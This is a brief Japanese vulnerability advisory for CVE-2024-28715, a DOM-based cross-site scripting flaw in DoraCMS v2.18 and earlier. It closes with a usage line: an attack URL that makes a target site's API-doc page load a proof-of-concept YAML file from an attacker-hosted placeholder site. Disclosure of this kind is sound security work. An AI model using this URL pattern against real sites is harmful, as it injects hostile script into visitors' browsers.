CVE-2024-28715

[CVE識別子]

CVE-2024-28715

[製品]

DoraCMS

[バージョン]

DoraCMS v2.18 およびそれ以前

[問題タイプ]

DOMベースのXSS。

[説明]

DOraCMS v.2.18およびそれ以前のバージョンにおけるクロスサイトスクリプティングの脆弱性により、リモートの攻撃者が /app/public/apidoc/oas3/wrap-components/markdown.jsx エンドポイントの markdown0 関数を介して任意のコードを実行できる可能性があります。

[使用方法]

https://[target-site]/static/apidoc/index.html?url=https://[your-site]/POC.yaml